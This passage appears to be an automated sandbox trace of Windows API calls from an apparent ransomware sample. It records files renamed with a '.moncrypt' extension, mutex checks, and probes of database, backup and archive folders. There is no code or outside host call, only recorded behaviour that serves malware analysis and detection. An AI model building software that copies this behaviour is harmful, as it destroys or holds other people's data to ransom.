ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0052.103] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.103] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.103] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.103] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.103] GlobalUnlock (hMem=0x440004) returned 0 [0052.103] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.103] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.103] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.103] GlobalUnlock (hMem=0x440004) returned 0 [0052.103] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.103] GlobalUnlock (hMem=0x44000c) returned 0 [0052.103] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.103] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.104] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.104] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.104] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.104] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.104] GlobalUnlock (hMem=0x44000c) returned 0 [0052.104] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.104] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.104] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.104] GlobalUnlock (hMem=0x44000c) returned 0 [0052.104] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.104] GlobalUnlock (hMem=0x440004) returned 0 [0052.104] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.104] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x48b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0052.104] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.104] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.104] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.104] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.104] GlobalUnlock (hMem=0x440004) returned 0 [0052.104] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.104] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.104] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.104] GlobalUnlock (hMem=0x440004) returned 0 [0052.104] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.104] GlobalUnlock (hMem=0x44000c) returned 0 [0052.104] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.104] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x48b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0052.104] GetLastError () returned 0x12 [0052.104] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.105] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0052.105] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0052.105] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0052.105] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.105] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.105] GlobalUnlock (hMem=0x44000c) returned 0 [0052.105] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.105] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.105] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.105] GlobalUnlock (hMem=0x44000c) returned 0 [0052.105] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.105] GlobalUnlock (hMem=0x440004) returned 0 [0052.105] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.105] GlobalLock (hMem=0x440004) returned 0x550170 [0052.105] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.105] GlobalUnlock (hMem=0x440004) returned 0 [0052.105] GlobalLock (hMem=0x440004) returned 0x550170 [0052.105] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.105] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.106] GlobalUnlock (hMem=0x440004) returned 0 [0052.106] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.106] GlobalUnlock (hMem=0x44000c) returned 0 [0052.106] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.106] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS", len=0x3e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS") returned 1 [0052.106] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.106] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.106] GlobalUnlock (hMem=0x44000c) returned 0 [0052.106] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.106] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.106] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.106] GlobalUnlock (hMem=0x44000c) returned 0 [0052.106] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.106] GlobalUnlock (hMem=0x440004) returned 0 [0052.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@冾R冒R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0052.107] GetLastError () returned 0x3 [0052.107] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0052.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0052.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18㿬Q\x181")) returned 0xffffffff [0052.108] GetLastError () returned 0x2 [0052.108] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0052.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뾴R企@\x18?T\x18;")) returned 0xffffffff [0052.108] GetLastError () returned 0x2 [0052.109] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0052.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18D")) returned 0xffffffff [0052.109] GetLastError () returned 0x2 [0052.109] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0052.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18뾴R\x18j")) returned 0xffffffff [0052.109] GetLastError () returned 0x2 [0052.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.110] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18q")) returned 0xffffffff [0052.110] GetLastError () returned 0x2 [0052.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뾰RP") returned 6 [0052.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.110] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@몤R企@\x18?T\x18y")) returned 0xffffffff [0052.110] GetLastError () returned 0x2 [0052.111] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0052.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0052.111] GetLastError () returned 0x2 [0052.111] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0052.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18\x88")) returned 0xffffffff [0052.111] GetLastError () returned 0x2 [0052.112] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0052.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@몤R企@\x18?T\x18\x8f")) returned 0xffffffff [0052.112] GetLastError () returned 0x2 [0052.112] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0052.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a2b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0052.112] GetLastError () returned 0x2 [0052.112] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a278, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0052.113] GlobalLock (hMem=0x440004) returned 0x550170 [0052.113] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.113] GlobalUnlock (hMem=0x440004) returned 0 [0052.113] GlobalLock (hMem=0x440004) returned 0x550170 [0052.113] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.113] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.113] GlobalUnlock (hMem=0x440004) returned 0 [0052.113] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.113] GlobalUnlock (hMem=0x44000c) returned 0 [0052.113] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.113] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0052.113] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.113] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0052.113] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.113] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.114] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\layers\\") returned 0x3f [0052.114] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0052.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.114] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.114] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.114] GlobalUnlock (hMem=0x44000c) returned 0 [0052.114] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.114] GlobalLock 